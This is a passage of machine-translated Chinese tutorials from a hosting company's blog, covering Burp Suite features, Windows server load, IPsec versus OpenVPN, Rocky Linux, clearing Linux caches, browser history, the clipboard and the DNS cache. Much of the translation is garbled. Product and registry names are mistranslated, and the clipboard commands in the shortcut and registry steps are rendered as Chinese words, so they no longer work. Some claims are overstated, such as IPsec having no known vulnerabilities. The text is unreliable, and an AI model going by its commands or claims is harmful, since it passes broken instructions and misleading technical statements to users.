入侵者工具:使用该工具,您还可以在使用 Burp 识别漏洞后执行攻击。
Repeater 工具:使用这个工具,你可以从客户端接收特殊的请求,经过处理后发送给服务器。
定序器工具:用于测试通信会话令牌。
检查打嗝套件功能
Burp Suite 为您提供了高级功能,允许您手动更改 web 应用程序的数据输入。它也允许你在安全领域工作。以下是 Burp Suite 的 7 个特点:
1.能够查看并减少浏览器和目标应用程序之间的数据量
2.秘密检查,悄悄审查节目的内容和表现
3.先进的网络扫描器,检测和识别各种类型的缺点和弱点
4.清洁工具,用于有目的和强有力的攻击错误和修复不寻常的损害
5.用于重新运行和发送特定请求的复制工具
6.用于随机测试输入的序列工具,能够保存您的操作并在其他时间继续工作
7.扩展性,即执行自定义附件的能力,在 Burp 程序中执行非常具体和复杂的任务
结论
Burp Suite 是入侵测试工程师和工作是在网络软件和网站中查找 bug 的人使用最广泛的工具之一。在本文中,我们试图向您介绍 Burp Suite 并检查它的重要功能。如果你愿意,你可以阅读我们关于如何在 Debian 10 和 Kali Linux 上安装 BurpSuite 的文章。
如何在 Windows Server - ElderNode 博客上检查服务器负载
原文:https://blog.eldernode.com/check-server-load-on-windows-server/
如何检查 Windows 服务器上的服务器负载?托管公司服务器管理的重要任务之一是监控服务器负载。服务器负载监控并确保服务器负载不会过高,确保主机管理人员硬件处于良好状态,并防止停机。
在本文中,我们将探讨如何找到服务器上的负载,并且在熟悉这个概念的同时,提供管理负载的解决方案。
虽然有许多工具和选项可用,但我们专注于我们的 Windows VPS 任务管理器,以帮助我们快速了解正在发生的事情,并与应用、进程和服务进行交互,以识别负载。
如何启动 Windows 任务管理器
–第一种方式: 点击开始菜单,输入任务管理器然后选择。
–第二种方式:右击任务栏区域,从菜单中选择任务管理器。
–第三种方式: 在远程桌面会话时按键盘上的 Ctrl+Alt+End 键。
–第四种方式: 运行命令 taskmgr 。
如何在 Windows 服务器上检查服务器负载
让我们看看任务管理器提供了什么。
您可以点击更多详细信息在该窗口中了解更多信息。
任务管理器提供了对流程、性能、用户、细节和服务的快速访问。
我们将浏览每个选项卡,看看它们能提供什么,并发现在检查服务器负载时要寻找什么。
1) 流程页签
进程选项卡向我们显示系统中正在运行的一切,以及它正在使用的 CPU 和内存资源的数量。
在顶部,你可以看到总 CPU 和内存利用率。
通过点击CPU或内存列标题,您可以根据该标准对进程列表进行排序。您还可以使用排序箭头来确定是从最高使用率到最低使用率排序,还是相反。
你可以点击任意单个进程上的和结束任务,查看资源使用,等等。
2) 性能选项卡
性能选项卡具有最直观的信息显示,并允许您从 CPU 、内存和以太网视图中进行选择,以显示 60 秒内的活动。
有了这个视图,您可以识别峰值或查看一段时间内的趋势,以确定某个状况是暂时的还是持续的。
CPU 性能
CPU 性能信息向您显示 CPU 的类型和速度,使用中的、线程和句柄的数量,以及大多数情况下虚拟 CPU 的数量。
您还可以看到系统已经运行了多长时间(正常运行时间)。
这最后一点信息可以告诉您服务器已经运行了多长时间,确认它是否成功完成了重启,或者它是否由于资源耗尽而意外重启。
内存性能
内存性能信息向您显示系统中内存的总量,以及中有哪些和可用。
代表虚拟内存和磁盘上的页面文件(RAM 的扩展)。
缓存 代表 Windows 使用的内存, 分页池 代表 Windows 使用的内存,如果内存开始不足,可以将这些内存分页到磁盘上的页面文件中。
未分页的 不能分页到页面文件。
以太网性能
以太网性能信息向您显示类型的网络适配器以及它使用的资源数量,用一条曲线表示出站和入站流量,以及正在发送的数据的数值。
您还可以看到分配的适配器名称、连接类型和 IP 地址 (es)。
右键点击图上的,可以看到网络详情,包括网络利用率、链路速度、状态、字节 发送和接收等。
在 Performance 选项卡上,您还可以选择启动 Resource Monitor 来查看更多细节。
3) 用户标签
用户标签向您显示连接到服务器的所有用户列表,以及用户使用了多少 CPU 和内存资源。
你可以点击某个特定用户的来断开他们的连接,给他们发送消息,或者接管他们的会话,如果我们有管理员权限的话。****
在检查负载的上下文中,您可以确定特定用户是否消耗了过多的资源或者已经从会话中断开,让它在内存中运行,并选择是否注销用户以释放资源。
4) 明细页签
详细信息标签向您显示所有正在运行的程序和进程的列表,以及它们的 PID ( 进程 ID )编号、程序是正在运行还是暂停、运行时的用户名、正在使用的 CPU 和内存的数量,以及进程的描述。
您可以单击任何列名,按照该列从高到低或相反的顺序进行排序。
PID 号非常有助于追踪事件日志中引用的特定进程。
****右键单击一个项目可让您选择选项,包括:
****–结束一个流程或流程树
****–为运行过程设置优先级
–建立与特定处理器或所有处理器的关联
****–附加选项
5) 服务标签
服务选项卡向您显示服务名称的列表、它们的 PID ( 进程 ID 号)、服务的描述、作为停止或运行的状态,以及服务运行的组。
****右键单击服务上的可以让您启动、停止、重启,并访问附加选项。
您应该小心不要更改某些服务的状态,因为它们依赖于其他服务,停止错误的服务可能会对系统或设备产生意想不到的后果。
要了解某项服务的更多信息,您可以右键单击并选择在线搜索。
如何在 Windows 服务器上检查服务器负载
启动资源监视器的方式
****–点击开始菜单,输入资源监视器然后选择。
****–右击任务栏区域,从菜单中选择任务管理器。
然后从性能选项卡选择打开资源监视器。
****–运行命令 resmon 。
概览为您提供了关于 CPU 、内存、磁盘和网络选项的数据和图表,所有这些都在一个页面上,并且可以选择展开或折叠每个部分。
它还会显示资源的当前使用量(T0)以及最长活动时间(T3)的 T2。
单击单个部分可提供更多详细信息。
一。 CPU
B 。内存 除了显示物理内存的细目外,还显示进程和图形,以显示与页面文件的使用相关的提交费用和每秒的硬故障数,这可以指示 Windows 必须访问交换文件的次数。
注意: 如果您的系统每秒显示数百个硬故障,这表明需要更多的物理内存。
C 。 Disk 除了显示每个任务读写磁盘的数量之外,还显示了进程。
除了队列长度之外,图还显示了总的磁盘活动。
磁盘队列长度表示有多少磁盘 I/O 操作排队等待由磁盘处理。
如果发现最高活跃时间在 80%以上,磁盘队列长度为 2 或更长,说明进程正在等待,磁盘的性能正在影响系统的整体性能。
在许多情况下,这个数字会很高,因为系统缺少足够的物理内存,并且经常将信息分页到磁盘,或者过于依赖虚拟内存。它通常伴随着持续时间超过 90%的 CPU 运行。
D 。网络 显示有网络活动的进程,此外还有 TCP 连接和监听端口,以及显示网络传输和 TCP 连接的图形。
持续的高网络利用率可能表明存在拥塞问题,需要更多容量。
****尊敬的用户,我们希望您能喜欢这个教程,您可以在评论区提出关于本次培训的问题,或者解决老年人节点培训领域的其他问题,请参考提问页面部分,并尽快提出您的问题。腾出时间给其他用户和专家来回答你的问题。
如何在 Windows 服务器上检查服务器负载。
好运。
选择 IPsec VPN 而不是 OpenVPN 的五大理由
原文:https://blog.eldernode.com/choose-an-ipsec-vpn-over-openvpn/
VPN 协议是一组规则,指定数据如何通过您的计算机和 VPN 服务器进行路由。这些协议根据使它们彼此不同的条件而具有不同的规范。IPsec VPN 和 OpenVPN 都是 VPN 协议,本文将向您介绍选择 IPsec VPN 而不是 OpenVPN 的五大理由。如果你想买一台 便宜的 VPS 服务器,请查看 Eldernode 网站上提供的经济套餐。
为什么选择 IPsec VPN 而不是 OpenVPN?
IPsec 协议或互联网协议安全是一组流行的协议和服务,为 IP 网络提供安全性。它保护您在 IP 网络上的互联网流量,并在整个互联网连接中提供加密。该协议工作在两种模式下,包括传输模式和隧道模式,这两种方法都保证了强加密。
OpenVPN 是一种开源的 VPN 协议,可以针对不同的端口和加密类型进行配置和使用。它支持几种加密算法,最常见的 AES 和 Blowfish。
1- IPsec 比 OpenVPN 快
由于 OpenVPN 是在用户空间实现的,不是很轻量级,所以速度比 IPsec 低。虽然 IPsec 是在内核 IP 堆栈中实现的,并且靠近内核,但它允许快速加密和解密。它通常速度很快。请记住,UDP 上的 OpenVPN 比 TCP 上的 OpenVPN 提供更高的速度。
2- IPsec VPN 允许您应用基于 IP 的限制
IPSec 使用预定义的通信通道(如 UDP 500 和 UDP 4500)创建加密隧道,并使用 ESP 传输加密数据。它允许您基于 IP 应用基于 IP 的限制,并在 TCP/UDP 层执行编码。但是在 OpenVPN 中,你选择使用 UDP 端口或者 TCP。它可以毫无问题地绕过限制性防火墙。
3-比 OpenVPNT3 更安全
这两种协议都使用安全算法进行加密,使用证书进行身份验证。这就是为什么这两种协议都是安全的,但 IPsec 比 OpenVPN 更安全。因为 IPsec 提供了最高级别的加密,并且没有已知的安全漏洞。此外,它支持各种算法和密码,如 RSA,PSK 和其他。而 OpenVPN 的漏洞数量有限。
4-IPsec VPN 的安装过程更简单
许多现代操作系统如 Windows、Mac、iOS、Android、Linux、Solaris、FreeBSD、OpenBSD 等都支持 IPsec VPN。此外,您可以直接将它安装在不同的操作系统上,也可以开箱即用。而 OpenVPN 需要额外的软件,默认情况下操作系统通常不会安装这些软件。
5- IPsec VPN 更兼容
IPsec VPN 内置了对多种操作系统和设备的支持。此外,许多桌面和移动操作系统本身支持 IPsec VPN。所以,它不需要第三方应用程序来运行。但是 OpenVPN 不需要内置支持。
我们的网站提供经济实惠的 VPS 服务器套装,如果你需要的话可以购买。
结论
IPsec VPN 通过确保数据包的身份验证和加密,在 IP 网络上的两个端点之间提供受保护的通信。在本文中,我们解释了选择 IPsec VPN 而不是 OpenVPN 的五大理由。我希望通过这篇文章的帮助,你可以选择最好的和最适合的 VPN。如果您有任何问题或建议,可以在评论区联系我们。
选择 Rocky Linux 而不是其他发行版的 5 个理由
原文:https://blog.eldernode.com/choose-rocky-linux-over-other-distros/
很长一段时间,CentOS 是 Linux 发行版中可靠的选择,尤其是对于服务器。因为它实际上是红帽企业版 Linux 的免费版本。但这一发展震撼了 CentOS 社区,并使主要开发人员之一想到创建 Rocky Linux,经过几个月的开发,Rocky Linux 的介绍版已经准备好并提交了。在这篇文章中,我们将提到选择 Rocky Linux 而不是其他发行版的 5 个理由。如果你想买一台 Linux VPS 服务器,你可以访问 Eldernode 网站上提供的套装。
为什么你选择 Rocky Linux 而不是其他发行版?
在本文的其余部分,请和我们一起解释选择 Rocky Linux 而不是其他发行版的 5 个原因。
1。免费的
Rocky Linux 是基于 Red Hat Enterprise Linux 的免费 Linux 发行版。正如我们所说,CentOS 是一个基于 RHEL 的发行版,因为它是一个稳定的发行版,而且不像 RHEL 那样是免费的,所以它是许多公司和开发者的绝佳选择。
2。安装很简单
安装 Rocky Linux 非常容易。为此,只需从 Rocky Linux 网站下载 ISO 镜像文件。然后访问 Rufus 网站下载。把安装过程进行到底,最后享受 Rocky Linux。
3。真快
成功安装 Rocky Linux 之后,您会注意到这个操作系统与其他发行版相比速度有多快。
4。很安全
在 Rocky Linux 上,默认情况下禁用通过 SSH 密码认证的远程 Root 登录。这项工作的目的是防止黑客通过暴力攻击渗透系统。但是,可以将其配置为在安装期间或之后允许远程根用户访问。此外,OpenSSL 3.0 对以前的版本进行了新的改进。
5。很可靠
关于 Rocky Linux 的可靠性,需要记住的一点是,赞助商和合作伙伴以及其他非附属公司都可以提供对 Rocky Linux 的商业支持。正因如此,这个新操作系统的受欢迎程度和信任度与日俱增。
结论
由于 Rocky Linux 操作系统越来越受欢迎,社区支持也在增加。拥有一个大型的 Rocky Linux 社区意味着这个操作系统是免费的并且得到了很好的支持。在这篇文章中,我们试图向你解释选择 Rocky Linux 而不是其他发行版的 5 个原因。如果你有任何问题,你可以在评论区和我们分享。
清除 Linux 中的缓存、缓冲和交换
原文:https://blog.eldernode.com/clear-cache-buffer-and-swap-in-linux/
正如你所知道的,任何操作系统都执行它的进程,并且从缓存、缓冲区等方面提高系统的运行速度。Linux 也不例外,也许可以说它比其他操作系统更好地利用了这个主题。相应地,为了管理和清除 Linux 中的缓存、缓冲区和交换区,如果需要的话,为您的用户提供一个删除的解决方案。在这篇文章中,我们将教授 Linux 中清除缓存、缓冲区和交换的命令和解决方案。如果您需要或需要填充 RAM,请使用它们,并降低系统速度以清空 RAM 中的更多空间。需要注意的是,你可以访问 Eldernode 中可用的包来购买一台 Linux VPS 服务器。
教程清除 Linux 中的缓存、缓冲和交换
跟随我们学习如何在 Linux 中清除内存缓存、缓冲和交换。
什么是清除缓存、缓冲、交换?
高速缓存是一种 SRAM 或 DRAM 存储器。该内存用于防止处理器和计算机 RAM 之间的处理时间延迟。内存高速缓存通常比计算机中使用的其他内存容量小,速度快。
缓冲区是一个临时位置,用于存储特定应用程序中未被其他应用程序使用的数据。缓冲区就像带宽的概念。当您试图通过网卡无法通过的网络(即没有所需的速度)传递大量数据时,网卡会将这些数据作为缓冲区保存。通过这样做,数据传输将以较低的速度连续不断地进行。
交换空间是系统硬盘的一部分,可以作为一个分区或文件引入 Linux 内核。当 Linux 内核需要更多 RAM 时,它使用交换特性将 RAM 中较少使用的部分复制到交换空间中,并在 RAM 中为自己创建空闲空间。如果需要复制到交换空间的那部分 RAM,就会发生与前面操作相反的情况,换句话说,Linux 内核使用交换空间作为 RAM 的补充。在 Linux 中使用交换空间允许低 RAM 的系统运行更重的程序。还应该注意的是,从 RAM 复制到交换空间可能会降低系统速度,反之亦然。
在下一节中,请加入我们,教您如何在 Linux 中清除内存缓存、缓冲区和交换。
如何在 Linux 服务器中清除内存缓存、缓冲区和交换区
有三种方法可以删除缓存、缓冲区等。,它们是:
1)要仅删除 PageCache,可以输入以下命令:
sync; echo 1 > /proc/sys/vm/drop_caches
2)现在,如果您需要删除已创建的 Dentries 和 Inodes,您必须输入命令:
sync; echo 2 > /proc/sys/vm/drop_caches
3)最后,如果您考虑删除所有的页面缓存、条目和窗口,您必须输入如下命令:
sync; echo 3 > /proc/sys/vm/drop_caches
这样,您就熟悉了 Sync 命令的功能,从现在开始,您可以使用它来清除缓存。最后,值得注意的是,您可以在某些时候以及当 Linux 服务器长时间没有重新启动时使用这个命令。
注意: 重复使用该命令可能会中断 Linux 的性能并运行内核进程,因此应避免连续使用。
您还可以在 Cron 中使用该命令,在服务器上出现 24 或 48 小时的高压后自动清除。
结论
在本文中,我们试图向您传授关于 Linux 中清除缓存、缓冲区和交换的有用信息。如果愿意可以参考文章如何在 Ubuntu 20.04 上添加交换空间。
如何清除 Android 手机上的谷歌 Chrome 历史记录
原文:https://blog.eldernode.com/clear-chrome-history-on-android/
如何清除安卓手机上的谷歌 Chrome 历史?你可能也想在你的手机上清除你的谷歌搜索历史,但是不知道怎么做。步骤与在 PC 和笔记本电脑上清除谷歌 Chrome 浏览器历史的步骤非常相似,但为了让你更清楚,我们将解释所有步骤。
在 Eldernode 选择您的完美 Windows 虚拟专用服务器包
在这篇文章中,我们将教你如何清除你的谷歌 Chrome 浏览器历史记录。
教程清除 Android 手机上的谷歌浏览器历史
1。 在你的安卓手机上打开谷歌 Chrome 应用。
2。 轻点屏幕右上角上的,以三个点的形式出现。
提示: 你的导航栏可能在页面底部。向上拖动以查看三个点。
3。 轻点历史按钮。
****4。在打开的新页面中,点清除浏览数据。
5。 新的一页将再次为你打开。该页面显示一个名为时间范围的选项。从下拉菜单中,您可以选择所需的时间段。
通过选择这些选项中的任何一个,你可以指定何时清除你的谷歌浏览器搜索历史记录。这些时间段是:
a- 最后一小时:删除一小时前到现在的历史
b- 过去 24 小时:删除 24 小时前到现在的搜索历史
****c- 最近 7 天:删除最近一周的搜索历史
d- 最近 4 周:删除 4 周以来的历史
****e- 所有时间:完全删除所有时间间隔的搜索历史
6。 在选择想要的时间段后,会遇到以下三个选项。这些选项是:
–浏览历史 :选择此选项将清除您曾经访问过的所有搜索历史和站点。
–cookie 和站点数据 :删除站点数据
–缓存的图片和文件 :该部分与您目前已经进入的网站的缓存和文件有关,也是删除历史和重新阅读网站内容最重要的部分。
7。 选择这些选项后,轻点删除按钮。
你的谷歌 Chrome 手机搜索历史记录现在已被完全清除。
下面,我们要教你如何删除一个或多个谷歌 Chrome 安卓搜索历史。
如何清除 Android 手机上的一个或多个谷歌 Chrome 搜索历史
在学习如何清除 Android 手机的谷歌 Chrome 历史记录之前,你需要知道如何查看它。要在 Android 手机上查看谷歌搜索历史,您必须遵循以下步骤:
****1。T3 打开谷歌 Chrome app 。
2。 点击更多的按钮,在图像的右上方处是三个圆点的形式。
3。T3 从历史对话框中,选择历史按钮。您现在可以看到搜索历史和您已经访问过的网站。
现在是时候了解如何删除谷歌 Chrome 安卓历史了。要做到这一点,你需要重复上一节的前几个步骤,然后删除谷歌历史中你不再需要的条目。
为了了解更多信息,我们将向您解释完整的步骤:
一。打开安卓手机上的谷歌 Chrome 应用。
****b 。在页面右上方的处,指向更多的,即三个点的形式。
****c 。点击历史按钮。
****d 。现在在你已经进入的搜索历史或站点上按住几秒。
****e 。点击删除按钮,这个按钮是一个垃圾桶的形状。
您的网站或搜索现在已从 Google Chrome 浏览器历史记录中删除。
****尊敬的用户,我们希望您能喜欢这个教程,您可以在评论区提出关于本次培训的问题,或者想解决老年人节点培训领域的其他问题,请参考提问页面部分,并尽快提出您的问题。腾出时间给其他用户和专家来回答你的问题。
好运。
如何清除 Windows 7、8 和 10 中的剪贴板历史记录- ElderNode 博客
原文:https://blog.eldernode.com/clear-clipboard-history-in-windows/
如何清除 Windows 7、8、10 中的剪贴板历史?剪贴板是存储复制或剪切信息的存储器的名称。你可以使用剪贴板向传送信息到窗口的不同部分。现在有些用户可能因为各种原因,包括安全和个人原因,想要删除剪贴板中的历史和信息。在这种情况下,可以通过两种简单的方法来实现。
在本文中,我们要教你如何删除 Windows 剪贴板内存中的历史和信息。和我们在一起!
在 Eldernode 购买 Windows 虚拟专用服务器
借助 Windows 10 和 Windows 8 中可用的功能,清除剪贴板内存很容易。当然,有一些程序可以清理和管理你可以轻松使用的剪贴板内存。在本教程中,我们将讲解如何借助 Windows 内置工具清除剪贴板,而无需安装和使用额外的程序。
清除 Windows 7、8 和 10 中的剪贴板历史记录
如你所知,在 Windows 中做很多事情的方法不止一种。删除剪贴板也是一样,有几种方法,下面我们会教两个例子:
方法一:建立快捷方式
在这个方法中,要清除剪贴板的内存,你首先需要在你的桌面上为此目的创建一个快捷方式!
为此,请按照下列步骤操作:
1。 在桌面的空白处右击,然后从打开的菜单中选择新建。
2。T3 从打开的菜单中选择快捷方式选项。
3。现在在打开的窗口的框中为键入项目的位置,输入以下短语:
%windir%\System32\cmd /c 回声关闭|剪辑
4。 然后点击窗口左下角的下一步按钮。
5。在下一个窗口的 中,在键入该快捷方式的名称部分,为您的快捷方式选择一个与其性能相关的名称。例如 清除剪贴板。
6。 点击完成按钮。
你的快捷方式被创建。
你可以将这个快捷方式移动到桌面的任何地方。每次你双击这个快捷键上的,你的剪贴板内存就会被清除。如果快捷方式不起作用,请重新启动计算机一次。
方法二:在桌面右键菜单中添加清除剪贴板选项
您可以通过注册表编辑器添加一个选项来清除您的桌面右键菜单。为此,请按照以下步骤操作:
1。 打开开始菜单,输入运行搜索后打开。在打开的窗口中,键入并搜索 REGEDIT 并打开注册表编辑器。
2。在打开的注册表编辑器窗口中的T3,引用下面的注册表项地址:
HKEY _ 跟班 _ 根 \ 目录 \ 背景 \
3。从左边的 ,右键点击外壳上的。然后从打开的菜单中,首先选择新选项,然后选择键选项和名称这个新键清除剪贴板。
4。 现在右键单击这个新键。
从打开的菜单中,首先选择新,然后选择键和名 it 命令。
5。在右边的 面板中,双击默认上的,选择修改。
6。 在数值数据框中,输入以下短语:
cmd.exe/c 回声关闭|剪辑
7。 最后点击 Ok ,然后按 F5 键刷新注册表退出。
在你的桌面的空白处右击。你会看到清除剪贴板选项已经被添加到这个列表中,你可以通过选择它来清除你的剪贴板内存。
清除剪贴板的快速简单解决方案
如果您在剪贴板内存中存储了个人或敏感信息,这里有一些非常简单的方法来快速删除它:
***** 对你的屏幕进行截图,替换你剪贴板 内存中存储的敏感信息。
***** 重启你的电脑。重新启动后,您可以清除剪贴板内存。
***** 打开命令行,运行以下命令清空剪贴板内存:
回声关闭|剪辑
尊敬的用户,我们希望您能喜欢这个教程,您可以在评论区提出关于本次培训的问题,或者解决老年人节点培训领域的其他问题,请参考提问页面部分,并尽快提出您的问题。腾出时间给其他用户和专家来回答你的问题。
好运。
Goodluck.
如何清除谷歌浏览器历史记录
原文:https://blog.eldernode.com/clear-google-chrome-browser-history/
如何清除谷歌 Chrome 浏览器历史记录?你可能遇到过这样的情况,有时你的浏览器崩溃或者你打开网站,如果你知道网站上发布了新内容,你会看到过去几天发布的相同内容。
当你第二次访问一个站点的时候,显示过去几天的内容没有别的原因,只是因为这个站点被缓存在你的浏览器中。重要的是这个问题不是直接来自你。网站所做的缓存站点和提高速度的设置会给你带来这个问题。
在这篇文章中,我们将教你如何删除谷歌 Chrome 浏览器的历史记录,这样你就可以轻松清除你的浏览器缓存。
建议您至少每隔 1 至 2 个月清理您的浏览器以搜索互联网并使用您的 Chrome 浏览器。这将在你的硬盘上释放空间,并加速 你的浏览器。
跟随我们的教程删除谷歌 Chrome 浏览器的历史。
如何清除谷歌 Chrome 浏览器历史记录
1。打开你的谷歌 Chrome 浏览器。
2。T3 点击页面右上角的菜单。
3。 从历史菜单中,选择历史子菜单打开其设置页面。
注: 按键盘上的 Ctrl + H 就可以打开这个页面。
4。T3 在历史页面,点击清除浏览数据。
5。 你会看到一个类似下图的页面。
你可以通过设置来删除你的 cacache che 和历史。在下文中,我们将解释每一部分。
–从 中清除以下项目:在这个字段中你可以告诉 Chrome 历史会为你删除多少时间。要将其完全删除,您必须将此部分设置为开始时间或全部时间。
–浏览历史:的所有历史搜索和访问过的站点。
–下载历史 : 所有曾经用 Chrome 下载过的文件。
教程清除谷歌 Chrome 浏览器历史
注 1: 选择此部分,只会删除下载文件的历史记录,而下载的文件会保留在您的系统中。
–缓存图片和文件 : 此部分与您已经进入的站点的缓存文件相关。这也是删除历史和重新阅读网站内容最重要的部分。
–密码 : 所有进入登录各种网站的密码都存储在这个部分。
–自动填充表单数据:Chrome 在各种网站表单中自动填充的所有信息都存储在这个部分。
–托管 app 数据 : 上面安装的 Chrome 软件相关的信息和数据都在这个部分。
–媒体许可证 : 如果您使用许可证或安全证书进入某些站点,它将被保存在此部分,通过选择它,您将删除它们。
现在有了我们提供的解释,你可以选择你想要的选项,然后点击清除浏览数据。
注 2: 如果你想在一般情况下刷新谷歌 Chrome 浏览器,你必须勾选所有选项,然后点击清除浏览数据。
注 3: 如果你不想删除以上全部,还可以通过删除文件和缓存图片来帮助加速 Google Chrome 。为此,除了检查浏览历史,还要检查缓存的图像和文件。然后点击清除浏览数据。
如何从谷歌历史中删除一个或多个网站
1。T3 如前所述,首先打开谷歌浏览器。
2。 浏览器的右上角有三个点,点击即可。
3。 从历史子菜单中选择历史选项,如下图:
4。 一个如下图所示的窗口将会打开,显示你已经打开的所有站点的列表。
勾选一个或多个你想从谷歌历史中删除的网站。
5。 现在在页面的右上角你会看到删除和取消选项。
选择取消按钮移除勾选框,选择删除从历史中删除该站点。
6。出现的 框中有两个按钮,删除和取消。
点击取消按钮会将谷歌浏览器历史回复到之前的步骤,但是选择移除会结束您的工作。
如何做一个私人评论?
知道如何在你的电脑或笔记本电脑上搜索一个网站而不被列在你的搜索历史中是很好的。为此,请按照下列步骤操作:
1。 首先,在电脑或笔记本电脑上打开谷歌 Chrome。
2。 然后点击页面上方的更多的,也就是三个圆点的形式。
3。 点击新建微服窗口按钮。
注意: 不用经历这三步,可以用组合键 ctrl + shift + N 。
4。T3新窗口现在将开启。在图像的左上角,寻找帽子和眼镜的图像并点击它。
5。 你现在可以在谷歌搜索栏做任何你想做的事情。
亦作,见:
尊敬的用户,我们希望您能喜欢这个教程,您可以在评论区提出关于本次培训的问题,或者解决老年人节点培训领域的其他问题,请参考提问页面部分,并尽快提出您的问题。腾出时间给其他用户和专家来回答你的问题。
好运。
教程清除本地 DNS 缓存- Eldernode
如何清除本地 DNS 缓存?有时,电脑可能无法访问网站或服务器。此问题可能是由于本地 DNS 缓存造成的。在本教程中,我们将教你如何清除不同操作系统上的 DNS 缓存。
如何刷新 Windows 上的本地 DNS 缓存
1。使用 Windows 键+xT5 进入超级用户菜单,然后选择命令提示符。
或者
在开始菜单中搜索 cmd 。然后在cmd.exe上右击,选择以管理员身份运行。
2。在 Windows 中键入以下命令。然后按键进入。
ipconfig /flushdns
3。成功执行该命令后,您将看到以下消息:
Successfully flushed the DNS Resolver Cache.
您也可以从 eldernode 购买并使用 Windows VPS 服务器。
如何刷新 MacOS X 上的本地 DNS 缓存
1。首先启动终端。
2。键入与 MAC OS X 版本相对应的命令。
3。终于打到进入。
A) Mac OS X 版本 10.10.4 及更新:
dscacheutil -flushcache; sudo killall -HUP mDNSResponder
B) Mac OS X 版本 10.10-10.10.3:
sudo discoveryutil mdnsflushcache; sudo discoveryutil udnsflushcaches
C)Mac OS X 10.9 版本:
sudo killall -HUP mDNSResponder
D)Mac OS X 10.6-10.8 版本:
sudo dscacheutil -flushcache
如何刷新 Linux 上的本地 DNS 缓存
许多最新的 Linux 发行版都不像 Windows 和 MAC OS X 那样使用本地 DNS 解析器缓存。因此,有关当前默认软件的更多信息,请访问您的 Linux 发行版网站。
最常用的 DNS 缓存 Linux 应用之一是 NSCD 。如果您安装了 NSCD,请执行以下命令之一。
要运行以下命令,首先打开您最喜欢的终端/ shell 应用程序。
A) 清除当前用户的本地 DNS 缓存:
nscd -i hosts
B) 为所有用户清除本地 DNS 缓存:
nscd -I hosts
C) 一些 Ubuntu 和 Debian 衍生的发行版:
sudo service dns-clean restart
选择您的完美的 Linux VPS 服务器包。
尊敬的用户,我们希望您能喜欢这个教程,您可以在评论区提出关于本次培训的问题,或者解决老年人节点培训领域的其他问题,请参考提问页面部分,并尽快提出您的问题。腾出时间给其他用户和专家来回答你的问题。
好运。
如何清除浏览器缓存- Eldernode
如何清除浏览器缓存?如果您是网站设计者,并且希望更改网站的外观,则必须清除浏览器缓存,以确保应用更改。这是因为加载页面所需的文件可能仍然以缓存模式加载,在这种情况下,您将看不到任何更改。
但是如果你是一个普通用户,你仍然可能遇到网站页面出错的情况。
现在你知道了清除浏览器缓存的原因以及什么是浏览器缓存,在本文中我们将看看如何清除不同的浏览器缓存。
选择你的完美 Windows 虚拟专用服务器套餐
谷歌 Chrome 浏览器
要清除谷歌 Chrome 浏览器缓存,首先点击三点图标。或者使用 ALT + E 组合键打开类似下图的浏览器菜单。
然后点击设置导航至谷歌 Chrome 浏览器设置页面。
进入设置页面后,在搜索框中输入缓存。
现在像下图一样,点击 Cleare 浏览数据选项,就是清除谷歌 Chrome 浏览器的数据。
点击此选项后,将会打开一个类似于下图的窗口,您可以自定义使用该窗口。
从时间范围选项中,选择清除谷歌浏览器缓存的时间间隔。然后选择缓存的图像和文件选项,只删除缓存的图像和文件。
如果选择其他选项,除了 cookie 缓存之外,还可以删除浏览器历史等数据。
最后,点击蓝色清除数据按钮,等待浏览器缓存根据文件大小清空。
火狐浏览器
要清除火狐浏览器 c ache,先点击浏览器一角的三线图标。然后点击首选项或选项进入火狐浏览器设置页面。
您也可以在浏览器的地址栏中键入 about: preferences,然后按回车键。
这一步,在搜索框中输入缓存,按进入。与下图类似,将显示清除 Firefox 浏览器缓存的清除数据按钮,您必须点击该按钮。
要清除火狐浏览器缓存,只需勾选的缓存网页内容选项,最后点击清除按钮。
在 Firefox 浏览器中,该方法将从头删除所有缓存文件。
注意: 为了能够控制时间间隔,只需用历史搜索代替缓存搜索即可。
搜索类似上图的短语历史后,点击清除历史按钮,显示如下窗口。
现在使用时间范围清除选项选择所需的时间间隔。
然后选择缓存选项,通过激活复选框删除缓存文件。
最后,点击立即清除按钮,等待火狐浏览器缓存根据文件大小被清除。
Internet Explorer 浏览器
要清除ie 浏览器缓存,首先点击右上角的浏览器齿轮图标。
然后点击互联网选项。
打开以下窗口后,点击删除按钮。
点击删除按钮后,将会打开一个类似下图的窗口。通过此窗口,您可以选择数据类型。
这里,因为我们只想删除缓存文件,所以选中临时互联网文件和网站文件复选框。然后点击删除按钮,从 ie 浏览器中删除缓存文件。
Opera 浏览器
要清除 Opera 浏览器缓存,首先点击左上角的浏览器菜单图标。
然后点击设置或者使用 ALT + P 组合键导航到 Opera 浏览器设置页面。
这将带您进入 Opera 浏览器设置页面。
首先你必须点击左边的隐私&安全标签,类似下图。
点击清除浏览数据按钮,打开如下窗口。选择要删除的时间间隔和数据。
如图所示,首先从选项中选择间隔,从选项中删除后续时间,以清除 Opera 浏览器缓存。
然后选择缓存的图像和文件选项,仅删除缓存的图像和文件。如果选择其他选项,除了 cookie 缓存之外,还可以删除浏览器历史等数据。
选择随时清除 Opera 浏览器缓存后,点击蓝色的清除浏览数据按钮,等待浏览器缓存根据文件大小进行清除。
尊敬的用户,我们希望您能喜欢这个教程,您可以在评论区提出关于本次培训的问题,或者解决老年人节点培训领域的其他问题,请参考提问页面部分,并尽快提出您的问题。腾出时间给其他用户和专家来回答你的问题。
好运。
云 VPS 与专用服务器- Eldernode
原文:https://blog.eldernode.com/cloud-vps-vs-dedicated-server/
在启动一个网站后,你首先应该考虑的事情之一是升级你目前使用的服务的能力。如果你还在使用从一开始就在网站上建立的共享主机,是时候考虑拥有一个独立的服务器了。云 VPS 服务器或专用服务器是您可以拥有的两个选项之一,但这一选择取决于对这两种服务之间差异的认识。
在本文中,我们将进一步了解这些服务器,看看在云 vps 服务器和专用服务器之间,哪一个更适合您。
什么是云服务器?
云服务器是在云计算平台上创建并呈现在互联网上的逻辑服务器。事实上,云服务器是在云基础设施和云计算环境中提供的虚拟专用服务器。有必要说明的是,在正常情况下,虚拟服务器只在具有相关硬件的物理服务器上实现,在这种情况下,随着任何相关硬件组件的故障,其上的所有虚拟服务器也将面临问题。因此,这是虚拟服务器中通常使用的单点故障。
但是在云环境中,所创建的虚拟专用服务器具备运行所需的所有软件要求,并且绝不依赖于集中式软件或只有一个硬件的物理服务器。这使得在任何时候都可以在任何可用的物理服务器上运行相关的机器,只需自动地在线迁移它们(如果需要的话)。
